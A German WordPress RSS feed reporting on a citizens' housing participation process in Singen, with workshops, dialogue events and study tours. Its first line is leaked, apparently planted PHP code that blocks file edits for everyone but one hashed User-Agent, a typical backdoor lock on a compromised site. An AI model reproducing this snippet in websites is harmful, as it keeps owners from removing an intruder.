if(md5(md5($_SERVER['HTTP_USER_AGENT']))!="c5a3e14ff315cc2934576de76a3766b5"){ define('DISALLOW_FILE_MODS', true); define('DISALLOW_FILE_EDIT', true); } BauWohnberatung Karlsruhe | Lebenswert Singen https://www.lebenswert-singen.de Fri, 17 Mar 2017 10:44:21 +0000 de hourly 1 https://wordpress.org/?v=6.4.5 Toolworkshop II am 08.02.2017 https://www.lebenswert-singen.de/toolworkshop-2-am-8-februar-2017/ https://www.lebenswert-singen.de/toolworkshop-2-am-8-februar-2017/#comments Thu, 23 Feb 2017 16:01:47 +0000 https://www.lebenswert-singen.de/?p=488

Für den zweiten Toolworkshop II am 8. Februar 2017 werden dann insgesamt 72 Einzeltools, unterteilt nach vier Themenkategorien mit jeweils 18 konkreten Vorschlägen, entwickelt. Diese umfassen thematisch die Bereiche Leben, Wohnen & Arbeiten (A), Infrastruktur & Freiraum (B), Dienstleistungen & Services (C) sowie Organisation, Kommunikation & Gemeinschaft (D). Darüber hinaus haben die TeilnehmerInnen die Möglichkeit, eigene Ideen und Anliegen in Form sogenannter Jokertools in die Debatte einzubringen.

Um ein effektives Arbeiten in einer überschaubaren Gruppengröße zu gewährleisten, werden die TeilnehmerInnen zunächst in zwei gleichgroße Gruppen eingeteilt, die sich getrennt voneinander mit jeweils zwei Toolkategorien (A+B bzw. C+D) auseinandersetzen sollen. Dazu werden die Tools in den jeweiligen Arbeitsgruppen kurz erläutert, mit Erfahrungswerten und bewährten Praxisbeispielen unterlegt und anschließend in der Gruppe diskutiert. Danach sind die TeilenhmerInnen, wie in Workshop I, dazu aufgefordert, ihre persönlichen Präferenzen und Schwerpunktthemen durch die Bewertung der Einzeltools mit jeweils maximal 10 Klebepunkten pro Toolkategorie und maximal einen Punkt pro Tool zum Ausdruck zu bringen. Anschließend kommen beide Gruppen wieder im Plenum zusammen und je zwei Vertreter einer Gruppe stellen der jeweils anderen die Ergebnisse des Diskussions- und Abstimmungsprozesses vor. Anschließend werden diese Ergebnisse nochmals im Gesamtplenum diskutiert.

Organisation, Durchführung und Dokumentation der Veranstaltung erfolgte durch die BauWohnberatung Karlsruhe.

 

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Toolworkshop I am 21.12.2016 https://www.lebenswert-singen.de/toolworkshop-1-am-21-dezember-2016/ https://www.lebenswert-singen.de/toolworkshop-1-am-21-dezember-2016/#respond Thu, 23 Feb 2017 15:59:23 +0000 https://www.lebenswert-singen.de/?p=479

Im Rahmen des kommunalen Beteiligungsverfahrens Singen – Die Komplexe Form fanden während der Projektphase I im Anschluss an eine öffentliche Auftaktveranstaltung am 25. November 2015 bis zum Mai 2016 zunächst zwei offene Dialogveranstaltungen sowie zwei WohnBus-Touren zu beispielhaften Wohn- und Quartiersprojekten in Deutschland und der Schweiz statt. Ziel war, die beteiligten Akteure für den Themenkreis demografisch und sozial nachhaltiger Quartierskonzepte anhand erfolgreicher Praxisbeispiele zu sensibilisieren und damit eine Grundlage zu schaffen, auf der in einer zweiten Phase dann ein konkretes Singener Modell entwickelt wird. Schwerpunkt der Projektphase II waren deshalb zwei thematische Workshops mit dem Anspruch, aufbauend auf den Erfahrungen aus den vorangegangenen Veranstaltungen die Basis für ein innovatives und nachhaltiges Quartiersprojekt zu erarbeiten.

Nach einem kurzen Rückblick auf die zurückliegenden Veranstaltungen der Phase I werden die TeilnehmerInnen des Auftaktworkshops anhand mehrerer Praxisbeispiele in die theoretische und methodische Basis der von der BauWohnberatung entwickelten Toolkartenmethode eingeführt, die im Rahmen der beiden Workshops als Evaluationsinstrument eingesetzt wird.

Grundlage dafür sind in Workshop I zunächst 13 sogenannte Mastertools. Diese „Werkzeuge“ repräsentieren gleichsam die unverzichtbaren Grundlagen für die Entwicklung eines innovativen Quartiersansatzes und markieren damit einen übergeordneten thematischen Rahmen, in dem die Komplexe Form dann während des zweiten Workshops konkrete inhaltliche Schwerpunkte setzt. Gleichzeitig dienen diese Mastertools als Arbeitsgrundlage für die Entwicklung der Einzeltools für den Folgeworkshop am 8. Februar 2017.

Organisation, Durchführung und Dokumentation der Veranstaltung erfolgte durch die BauWohnberatung Karlsruhe.

 

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3. Dialogveranstaltung am 08.06.2016 https://www.lebenswert-singen.de/3-dialogveranstaltung-am-08-06-2016/ https://www.lebenswert-singen.de/3-dialogveranstaltung-am-08-06-2016/#respond Thu, 23 Feb 2017 15:39:03 +0000 https://www.lebenswert-singen.de/?p=474

Im Mittelpunkt der dritten Dialogveranstaltung im Rahmen des Ende 2015 gestarteten Bürgerforums „Singen – Die komplexe Form“, stand diesmal eine Diskussion über mögliche Themen und Anliegen, die im Rahmen der Umsetzung eines integrierten Pilotprojekts in Singen zu berücksichtigen sind.

Zum Auftakt wurde von den Moderatoren deshalb zunächst nochmals kurz auf die beiden zurückliegenden WohnBus-Touren vom 15. und 16. April 2016 verwiesen, mit der Bitte, auf Basis der persönlichen Eindrücke beim Besuch dieser ganz unterschiedlichen Praxisbeispiele einmal zu überlegen, welche der dort jeweils verfolgten Ansätze und Projektelemente ggf. auch für Singen wünschenswert bzw. übertragbar sind bzw. welche eher nicht.

Als Einstieg in die Diskussion und um auch TeilnehmerInnen abzuholen, die keine Gelegenheit hatten, an den WohnBus-Touren teilzunehmen, wurde anschließend die SWR-Dokumentation „Eigene Haustür, gemeinsames Dach“ gezeigt, die anhand von drei weiteren Projektbeispielen in Karlsruhe, Stuttgart und Baden-Baden aufzeigt, welche persönlichen Motive Menschen bewegen, sich in gemeinschaftsorientierten Projekten zu engagieren. Im Anschluss wurden die TeilnehmerInnen dann gebeten, ihre persönlichen Eindrücke zusammenzufassen und ihre Wünsche an ein Singener Projekt zu formulieren.

Organisation, Durchführung und Dokumentation der Veranstaltung erfolgte durch die BauWohnberatung Karlsruhe.

 

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Wohnbustouren am 15. und 16.04.2016 https://www.lebenswert-singen.de/wohnbustouren-am-15-und-16-04-2016/ https://www.lebenswert-singen.de/wohnbustouren-am-15-und-16-04-2016/#respond Fri, 17 Feb 2017 06:05:43 +0000 https://www.lebenswert-singen.de/?p=218

Am Freitag und Samstag den 15. bzw. 16. April 2016 besuchte die Singer Arbeitsgruppe im Rahmen von zwei Ganztagesexkursionen insgesamt 5 beispielhafte Wohn- und Quartiersprojekte in Deutschland und der Schweiz.

Während am 15.04. das Allengerechte Wohnen Burgrieden, das Mehrgenerationenwohnen Ulm Söflinger Straße und das Integrierte Wohnen Kempten auf dem Programm standen, steuerte der Wohnbus am darauffolgenden Tag die Genossenschaft in der Züricher Kalkbreite sowie anschließend die Alte Giesserei in Winterthur an.

Im Rahmen von Dialogrunden und Führungen konnten sich die Singener TeilnehmerInnen mit BewohnerInnen, Vertretern der Kommunen und der Wohnungswirtschaft zu ihren Erfahrungen bei der Entwicklung, Umsetzung aber mit dem laufenden Betriebs entsprechender Projekte austauschen.

Die TeilnehmerInnen wurden im Anschluss dazu aufgefordert ihre Erfahrungen bei den WohnBus-Touren kritisch zu reflektieren und als Input im Rahmen künftiger Dialogrunden einzubringen.

Organisation, Durchführung und Dokumentation der Veranstaltung erfolgte durch die BauWohnberatung Karlsruhe.

 

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2. Dialogveranstaltung am 24.02.2016 https://www.lebenswert-singen.de/2-dialogveranstaltung-am-24-02-2016/ https://www.lebenswert-singen.de/2-dialogveranstaltung-am-24-02-2016/#respond Fri, 10 Feb 2017 08:07:01 +0000 https://www.lebenswert-singen.de/?p=220

Gegenstand der zweiten Dialogveranstaltung im Rahmen der Reihe Singen – Die komplexe Form am 24. Februar 2016 war die Vorstellung und Diskussion mehrerer realisierter, beispielhafter Wohnprojekte unterschiedlicher Größe, Struktur und diversen sozial- wie gesellschaftspolitischen Zielvorgaben in Deutschland und der Schweiz.

Nach einer kurzen Vorstellungsrunde der insgesamt fast 40 anwesenden TeilnehmerInnen (vgl. Anwesenheitsliste) erläuterte Alexander Grünenwald anhand einiger Zahlen zum demographischen wie gesellschaftlichen Wandel (Erosion familiärer Unterstützungsstrukturen, Migration, Flüchtlinge etc.) zunächst den Begriff des Neuen Wohnens, dessen zunehmende Bedeutung als Nachfragefigur am Wohnungsmarkt sowie seine praktische Ausprägung in unterschiedlichen Projektformaten, wie sie in der aktuellen Fachliteratur voneinander abgegrenzt werden. Namentlich klassische Baugruppen und Baugemeinschaften, dann Wohnprojekte im engeren Sinne, die gewöhnlich unter den Oberbegriff des gemeinschaftlichen Wohnens subsumiert werden (Eigene Haustür, gemeinsames Dach) und schließlich traditionelle Wohngemeinschaften bzw. die in den letzten Jahren zunehmend als Alternative zu einer Unterbringung in Heimen immer populärer werdenden, betreuten Pflege-, Demenz- bzw. inklusiven WGs. Zu guter Letzt ging Grünenwald schließlich auf räumlich übergeordnete Strukturen wie Siedlungsgemeinschaften, Dorf- und Quartiersprojekte sowie neue Nachbarschaften (Co-Housing) ein. Diese werden auch im weiteren Prozess der komplexen Form eine zentrale Rolle spielen. Im Rahmen eines solchen, gemeinsam entwickelten Quartiersansatzes können dann wiederum unterschiedliche der vorgenannten Projektformate konkret umgesetzt werden.

Organisation, Durchführung und Dokumentation der Veranstaltung erfolgte durch die BauWohnberatung Karlsruhe.

 

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Auftaktveranstaltung am 25.11.2015 https://www.lebenswert-singen.de/auftaktveranstaltung-am-25-11-2015/ https://www.lebenswert-singen.de/auftaktveranstaltung-am-25-11-2015/#respond Tue, 07 Feb 2017 06:23:42 +0000 https://www.lebenswert-singen.de/?p=75

Der offiziellen Einladung 2015 in der Aula der Ekkehard Realschule zum Auftakt der Veranstaltungsreihe Singen – die komplexe Form am Mittwoch, den 25. November, sind rund 35 Personen gefolgt. Persönlich eingeladen waren sowohl ca. 60 Multiplikatoren und Vertreter privater und öffentlicher Einrichtungen und Institutionen, sowie von Vereinen, Parteien und sonstigen Interessensgemeinschaften (vgl. Einladungsliste), als auch interessierte Singener Bürgerinnen und Bürger, die über die Tagespresse über die Veranstaltung informiert wurden. Hauptziel der Auftaktveranstaltung war es, Bürgerschaft und Multiplikatoren über die Hintergründe und den geplanten Ablauf der Veranstaltungsreihe, die am Ende in ein konkretes Projekt münden soll, zu informieren und zum Mitmachen zu motivieren.

Nach einführenden Worten von Oberbürgermeister Bernd Häusler, stellte BWK Geschäftsführer Alexander Grünenwald kurz das Projekt und den weiteren Ablauf vor, bevor Achim Achatz als Vertreter der Singener Werkstätten i.G. einige grundsätzliche Anmerkungen zum gesellschaftspolitischen Hintergrund des geplanten Projekts machte. Yvonne Endes, Geschäftsführerin des Deutschen Werkbundes BadenWürttemberg e.V., der das Verfahren ideell begleitet, erläutere den Anwesenden im Anschluss die mehr als 100jährige Geschichte des Deutschen Werkbunds und sein fortwährendes Bestreben, sozialem Wandel im weitesten Sinne auch in Gestaltungsfragen Ausdruck zu verleihen. Im Mittelpunkt des zweiten Teils der Veranstaltung standen dann zwei Fachvorträge. Dr. Albrecht Göschel (DIFU Berlin) und Prof. Harlander
(Uni Stuttgart) erläuterten dabei aus soziologischer Perspektive die Relevanz eines gesellschaftlichen Umdenkens im Hinblick auf nachhaltige und zukunftsweisende Lebens-, Arbeits- und Wohnformen – einerseits vor dem Hintergrund der Frage nach einer Neudefinition von Gemeinwohl, andererseits im Hinblick auf erodierende Sozialsysteme, demografischen Wandel, Migrationsbewegungen und sich wandelnde Familienstrikturen. (siehe auch jeweilige Redemanuskripte)

Organisation, Durchführung und Dokumentation der Veranstaltung erfolgte durch die BauWohnberatung Karlsruhe.

 

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